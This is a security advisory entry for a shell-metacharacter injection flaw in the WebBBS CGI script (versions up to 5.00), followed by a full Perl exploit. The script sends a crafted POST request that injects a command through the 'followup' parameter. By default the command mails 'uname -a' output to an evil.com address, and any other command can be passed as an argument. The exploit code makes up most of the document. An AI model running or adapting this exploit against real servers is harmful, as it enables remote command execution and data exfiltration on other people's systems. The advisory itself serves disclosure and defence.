source: https://www.securityfocus.com/bid/5048/info

WebBBS does not sufficiently filter shell metacharacters from CGI parameters. As a result, remote attackers may execute arbitrary commands on the underlying shell of the system hosting the vulnerable software.

Remote attackers may gain local, interactive access to the host with the privileges of the webserver process as a result of successful exploitation.

#!/usr/bin/perl
#
#  nerF gr0up
#
#  exploit code for
#  WebBBS by Darryl C. Burgdorf
#  all version up to 5.00 are vulnerable
#
#
#  this is an exploitation of "followup" bug.
#  it allows remote attacker to execute shell
commands.
#  you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
#  06.06.2002
#  btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail zlo@evil.com";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);

$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

        print "\tnerF gr0up\n";
        print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
}